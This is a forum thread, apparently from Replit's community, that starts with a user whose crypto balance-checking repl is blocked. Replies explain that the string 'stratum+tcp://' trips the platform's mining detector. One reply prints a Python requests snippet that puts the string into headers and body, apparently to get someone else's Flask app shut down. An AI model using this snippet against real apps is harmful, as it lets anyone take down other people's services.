Requests getting blocked

ducoUsername = “revox”
So I have this code the output should be:
{“result”:{“balance”:5808222.08661312,“created”:“before 23.08.2021”,“last_login”:1679130735,“stake_amount”:0,“stake_date”:0,“username”:“revox”,“verified”:“yes”,“verified_by”:“revox”,“verified_date”:1654803009,“warnings”:0},“server”:“duino-master-1”,“success”:true}
But instead it says:

You can’t run this Repl right now.

It may be temporarily unavailable or it may have violated our Terms of Service.If you are the owner of this Repl and believe you should be able to run it, you can try again later or contact support.

I checked the terms of service and the closest thing that it said is mining crypto. I am not doing that I am just checking the balance of someone who has crypto. Anyone know how to fix it so I don’t keep getting my repl available?

Welcome to the community, @UNIOINU! Can you send me the link to your repl please?

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Sorry for the late reply.

But why and how will I get around it?


You can’t requesting that server is going to crash it because of how replit works


Not only that lol, you can also put


Literally anywhere in the repl, it just needs to be somewhere where it is processed by goval

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wait did you ask Luis or smth?

Luis’s code was reversed and someone leaked the src lol, it was pretty basic code obfuscation though.


Hold up, so for flask repls, how would someone “inject” that, they send it via headers, json, data? Into the url?

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Hey, I’ve seen this one!


lol yeah, apparently sending it in the headers or smth will crash a flask app xD

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i dont understand tho, how would you eve do that?

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like literally my guy

from requests import get

get("url", data=("stratum+tcp://",), json={"stratum+tcp://": "stratum+tcp://"}, headers = {    "X-Requested-With": "stratum+tcp://",
    "Origin": "stratum+tcp://",
    "Accept": "application/json",
    "Referrer": "",
    "Content-Type": "application/json",
    "Connection": "keep-alive",
    "Host": "stratum+tcp://",
    "x-requested-with": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0"})

Wait a minute
didn’t you say you wouldn’t share this with anyone

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If they not sharing it, they abusing it. :100: :skull:

How would you be abusing it by stopping other people from abusing it? That makes no sense.

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You misunderstood, I simply mean’t knowing @bigminiboss they probably abused it at some point.

because it was related to the post, they tried pinging duicoin

pppffff no way I would ever abuse something

Ok I’m sorry -_- I just thought it was ok since apparently other methods have been leaked and this person already had the fact in their post

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